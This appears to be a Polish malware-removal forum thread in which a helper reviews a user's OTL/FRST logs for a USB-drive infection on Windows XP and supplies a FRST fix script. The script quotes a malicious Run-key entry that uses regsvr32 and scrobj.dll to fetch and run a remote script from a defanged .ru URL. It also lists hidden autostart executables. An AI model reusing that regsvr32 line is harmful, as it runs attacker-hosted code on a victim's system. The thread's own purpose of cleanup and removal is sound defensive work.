Liczba postów: 6
Liczba wątków: 2
Dołączył: 14.07.2016
13.07.2019, 14:41
removable disk na każdym pendriv'ie
Witam, proszę o sprawdzenie logów z OTL
otl.txt
extras.txt
Liczba postów: 2422
Liczba wątków: 4
Dołączył: 27.07.2012
13.07.2019, 19:12
(Ten post był ostatnio modyfikowany: 13.07.2019, 19:13 przez morderca.)
RE: removable disk na każdym pendriv'ie
1) Użyj >
USBFix (aby pobrać kliknij na "Download UsbFix Windows Installer")
Kliknij w nim na: CLEAN.
Daj raport z tego usuwania.
2) Zrób logi z
FRST >
http://forum.pcformat.pl/WAZNE-Jak-zaloz...ec-WAZNE-t
Przed skanem zaznacz "Addition.txt" oraz "Shortcut.txt"
================
Cytat:O20 - Winlogon\Notify\Antiwpa: DllName - (antiwpa.dll) - C:\WINDOWS\System32\antiwpa.dll ()
Ten wpis może świadczyć, że System jest nielegalny!
.
Liczba postów: 6
Liczba wątków: 2
Dołączył: 14.07.2016
13.07.2019, 21:00
RE: removable disk na każdym pendriv'ie
Liczba postów: 2422
Liczba wątków: 4
Dołączył: 27.07.2012
14.07.2019, 06:41
RE: removable disk na każdym pendriv'ie
Log z USBFix nie jest cały.
Uruchom FRST. Na klawiaturze naciśnij jednocześnie
CTRL+
Y.Otworzy się Notatnik - wklej do niego:
Kod:
HKLM\...\RunOnce: [] => [X]
HKU\S-1-5-21-117609710-484763869-1547161642-1004\...\Run: [COM+] => regsvr32 /s /n /u /i:hxxp://server2.aserdefa.ru/restore.xml scrobj.dll <==== UWAGA
Startup: C:\Documents and Settings\Admin\Menu Start\Programy\Autostart\3.lnk [2019-07-13]
ShortcutTarget: 3.lnk -> C:\Documents and Settings\Admin\Dane aplikacji\eek9h6eCbi.exe () [Brak podpisu cyfrowego]
Startup: C:\Documents and Settings\Admin\Menu Start\Programy\Autostart\e.lnk [2019-07-13]
ShortcutTarget: e.lnk -> C:\Documents and Settings\Admin\Dane aplikacji\eeBj8gEdkr.exe () [Brak podpisu cyfrowego]
Startup: C:\Documents and Settings\Admin\Menu Start\Programy\Autostart\N.lnk [2019-07-13]
ShortcutTarget: N.lnk -> C:\Documents and Settings\Admin\Dane aplikacji\eeLtIqFnCk.exe () [Brak podpisu cyfrowego]
Startup: C:\Documents and Settings\Admin\Menu Start\Programy\Autostart\V.lnk [2019-07-13]
ShortcutTarget: V.lnk -> C:\Documents and Settings\Admin\Dane aplikacji\eewUtRqOnL.exe () [Brak podpisu cyfrowego]
Startup: C:\Documents and Settings\Admin\Menu Start\Programy\Autostart\w.lnk [2019-07-13]
ShortcutTarget: w.lnk -> C:\Documents and Settings\Admin\Dane aplikacji\eeRzXwUt07.exe () [Brak podpisu cyfrowego]
Startup: C:\Documents and Settings\Admin\Menu Start\Programy\Autostart\Y.lnk [2019-07-13]
ShortcutTarget: Y.lnk -> C:\Documents and Settings\Admin\Dane aplikacji\eea8X5U2Rz.exe () [Brak podpisu cyfrowego]
Task: C:\WINDOWS\Tasks\Powiadomienie o zakończeniu obsługi systemu Microsoft Windows XP — co miesiąc.job => C:\WINDOWS\system32\xp_eos.exe
Task: C:\WINDOWS\Tasks\Powiadomienie o zakończeniu obsługi systemu Microsoft Windows XP — logowanie.job => C:\WINDOWS\system32\xp_eos.exe
2019-07-13 12:34 - 2019-07-13 12:34 - 074220514 __RSH C:\Documents and Settings\Admin\Dane aplikacji\eeBj8gEdkr.exe
2018-10-20 12:03 - 2018-10-20 12:03 - 090944098 __RSH () C:\Documents and Settings\Admin\Dane aplikacji\eea8X5U2Rz.exe
2019-07-13 12:34 - 2019-07-13 12:34 - 074220514 __RSH () C:\Documents and Settings\Admin\Dane aplikacji\eeBj8gEdkr.exe
2018-08-24 22:34 - 2018-08-24 22:34 - 090273634 __RSH () C:\Documents and Settings\Admin\Dane aplikacji\eeHgEdBj8F.exe
2019-05-22 12:27 - 2019-05-22 12:27 - 082337506 __RSH () C:\Documents and Settings\Admin\Dane aplikacji\eek9h6eCbi.exe
2018-06-19 12:56 - 2018-06-19 12:56 - 099864034 __RSH () C:\Documents and Settings\Admin\Dane aplikacji\eeLtIqFnCk.exe
2019-02-05 20:33 - 2019-02-05 20:33 - 089873890 __RSH () C:\Documents and Settings\Admin\Dane aplikacji\eeQyNvKsHp.exe
2019-03-25 20:05 - 2019-03-25 20:05 - 095053282 __RSH () C:\Documents and Settings\Admin\Dane aplikacji\eeRzXwUt07.exe
2018-12-14 21:50 - 2018-12-14 21:50 - 093979618 __RSH () C:\Documents and Settings\Admin\Dane aplikacji\eeVuSrPov2.exe
2018-06-19 19:23 - 2018-06-19 19:23 - 073902562 __RSH () C:\Documents and Settings\Admin\Dane aplikacji\eewUtRqOnL.exe
EmptyTemp:
Na klawiaturze naciśnij jednocześnie
CTRL+
S. W FRST kliknij na Fix (NAPRAW).
USBFix użyj z każdym podpiętym pendrive'm.
Zrób nowy log FRST -już bez Addition, i bez Shortcut.
.
Liczba postów: 6
Liczba wątków: 2
Dołączył: 14.07.2016
14.07.2019, 09:14
RE: removable disk na każdym pendriv'ie
fixlog
UsbFix nie jest pełny może dlatego że ciągle mi błąd wyskakuje:
obraz
I nie mam tam "Clean"(albo nie umiem znaleźć), klikam "ful Analisis"
FRST
Jeśli wszystkie pendriv'y mam sformatowane to jest konieczność skanowania?
Liczba postów: 2422
Liczba wątków: 4
Dołączył: 27.07.2012
14.07.2019, 17:44
RE: removable disk na każdym pendriv'ie
Skoro wszystkie peny masz sformatowane, to oczywiście nie ma sensu ich skanować.
Cytat:I nie mam tam "Clean"
Tak, ja też nie radzę sobie z tymi nowszymi wersjami USBFixa.
Nie rozumiem, dlaczego przydatny USBFix został przekształcony w zupełnie nieprzydatne narzędzie!
.
Ja w razie potrzeby polecam starszą wersję USBFixa
http://www.mediafire.com/file/kqbuu17k26...7.exe/file